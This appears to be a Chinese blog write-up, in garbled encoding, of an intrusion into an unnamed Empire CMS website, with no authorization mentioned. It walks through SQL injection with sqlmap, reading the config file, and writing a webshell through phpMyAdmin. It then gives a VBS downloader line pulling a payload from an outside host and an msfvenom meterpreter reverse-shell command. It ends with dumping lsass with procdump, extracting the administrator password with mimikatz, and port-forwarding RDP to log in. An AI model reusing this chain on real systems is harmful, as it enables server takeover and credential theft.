信息收集
對(duì)某網(wǎng)站進(jìn)行的一次滲透過程。
存在php探針,phpinfo,phpmyadmin
弱口令登錄失敗。
網(wǎng)站使用帝國cms7.2
弱口令登錄失敗,使用帝國cms的通用漏洞,失敗。
在知道絕對(duì)路徑的情況下,dba權(quán)限的sql注入可以直接執(zhí)行os-shell命令拿shell。
掃描開放端口,反查域名,尋找最可能存在sql注入的網(wǎng)站。
經(jīng)過多次嘗試,發(fā)現(xiàn)了一個(gè)聯(lián)合查詢型。且為dba權(quán)限的注入點(diǎn)。
sql注入的利用
已知絕對(duì)路徑,且注入點(diǎn)為dba權(quán)限,在平時(shí)的大多數(shù)滲透中,就已經(jīng)意味著getshell了。
然而,在這次滲透中,os-shell并沒有執(zhí)行成功。
經(jīng)過多次嘗試都以失敗告終,猜測某種waf起了作用。
嘗試使用sqlmap的寫文件命令(–file-write 本地文件地址 –file-dest 寫入地址),直接寫入文件到網(wǎng)站目錄下。
沒有找到文件,多次嘗試sqlmap無法成功寫入文件。
嘗試使用sql-shell執(zhí)行sql語句寫入文件。
失敗,顯示不支持非查詢語句。
肉到嘴邊吃不到呢,這感覺不好,sqlmap中所有能getshell的方法,都試的差不多了,依然沒有成功。
這時(shí)突然想起了網(wǎng)站存在phpmyadmin,也許可以通過phpmyadmin拿shell。
不知道數(shù)據(jù)庫密碼,需要通過sqlmap的–file-read命令讀取網(wǎng)站的配置文件。一般情況下網(wǎng)站配置文件的位置是沒法確定的,然而,網(wǎng)站使用了帝國cms,一般配置文件的位置是固定的。帝國cms7.0后配置文件在e/config/config.php
成功讀取到網(wǎng)站配置信息。
phpmyadmin的利用
使用獲取到的密碼登錄phpmyadmin
執(zhí)行sql語句寫入文件。
執(zhí)行成功。
訪問生成的文件,可以訪問到,使用菜刀連接失敗。
懷疑是木馬沒有免殺,或者菜刀流量被攔截。
換上免殺馬,使用插件hackbar執(zhí)行一句話,和加密中轉(zhuǎn)shell流量都以失敗告終。
經(jīng)過多次嘗試對(duì)比,發(fā)現(xiàn)腳本木馬只能夠本地執(zhí)行,無法遠(yuǎn)程執(zhí)行命令。
生成一個(gè)本地執(zhí)行ipconfig的腳本文件,并把內(nèi)容輸出出來。
訪問該文件,成功訪問到輸出的ip信息。
猜測正向連接無法使用,只能使用反向連接,把對(duì)方的shell反彈到公網(wǎng)。
把反彈腳本轉(zhuǎn)化為16進(jìn)制。
開啟nc監(jiān)聽,訪問生成的文件。
反彈成功,且為最高權(quán)限。
但是進(jìn)程中發(fā)現(xiàn)存在360全家桶。無法添加用戶。只能嘗試讀取當(dāng)前管理員的密碼。
且上傳Mimikatz無法做到免殺。
采取另一種方案Procdump Mimikatz:
Procdump由微軟官方提供:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分為2步:
1、導(dǎo)出lsass.exe進(jìn)程
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、使用mimikatz破解導(dǎo)出的文件lsass.dmp
因此現(xiàn)在需要上傳procdump64.exe生成lsass.dmp文件,下載下來在本地讀取密碼。
在只能輸入dos命令的情況下一般通過2種方法下載文件。
1、創(chuàng)建downfile.vbs下載文件。
echo set a=createobject(^'adod^' ^'b.stream^'):set w=createobject(^'micro^' ^'soft.xmlhttp^'):w.open^'get^',wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbscscript downfile.vbs http://192.168.40.13:9090/fileLibrary/5d5X9mSTZXjH9VlhXNN/x.txt D:\\tomcat8.5\\webapps\\x.jsp
2、使用bitsadmin命令
首先利用第一種方法下載,上傳vbs文件失敗了,360全家桶果然可以。vps被當(dāng)成病毒被殺了。
使用第二種方法,也失敗了,不知道是由于什么原因失敗的。
在dos命令無法滿足我的情況下,msf出場了。
msf的利用
由于到目前為止,只能通過數(shù)據(jù)庫進(jìn)行文件的上傳。
因此需要用到php的反彈木馬,再加上360全家桶不會(huì)去檢查網(wǎng)站文件的安全性,省了免殺處理的環(huán)節(jié)。
php反彈木馬使用php/meterpreter/reverse_tcp模塊
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
轉(zhuǎn)化為16進(jìn)制,使用phpmyadmin上傳,開啟監(jiān)聽,訪問上傳的文件。
成功接收到了會(huì)話。
使用meterpreter的上傳命令上傳procdump64.exe到網(wǎng)站根目錄
使用procdump64.exe -accepteula -ma lsass.exe lsass.dmp命令導(dǎo)出lsass.dmp文件到根目錄下載下來。
使用內(nèi)核相同到虛擬機(jī)運(yùn)行mimikatz,得到管理員明文的賬戶密碼。
到這一步已經(jīng)得到了管理員到賬戶密碼,下一步需要把遠(yuǎn)程連接服務(wù)轉(zhuǎn)發(fā)出來。
使用tasklist /svc命令查看TermService的進(jìn)程號(hào)。
使用netstat -ano查看進(jìn)程號(hào)對(duì)應(yīng)的端口為5277
確定5277為修改后遠(yuǎn)程桌面服務(wù)端口。
在meterpreter中使用端口轉(zhuǎn)發(fā),轉(zhuǎn)發(fā)5277到本地的5555端口。
遠(yuǎn)程桌面連接本地的5555端口,輸入得到的賬戶密碼,登錄成功。
證實(shí)了服務(wù)器的防護(hù)很多,vbs文件被殺了!終于滲透成功,總歸只能說網(wǎng)站的運(yùn)行權(quán)限太高了,如果只是普通用戶,想要拿下這臺(tái)服務(wù)器可真的是太難了。
聯(lián)系客服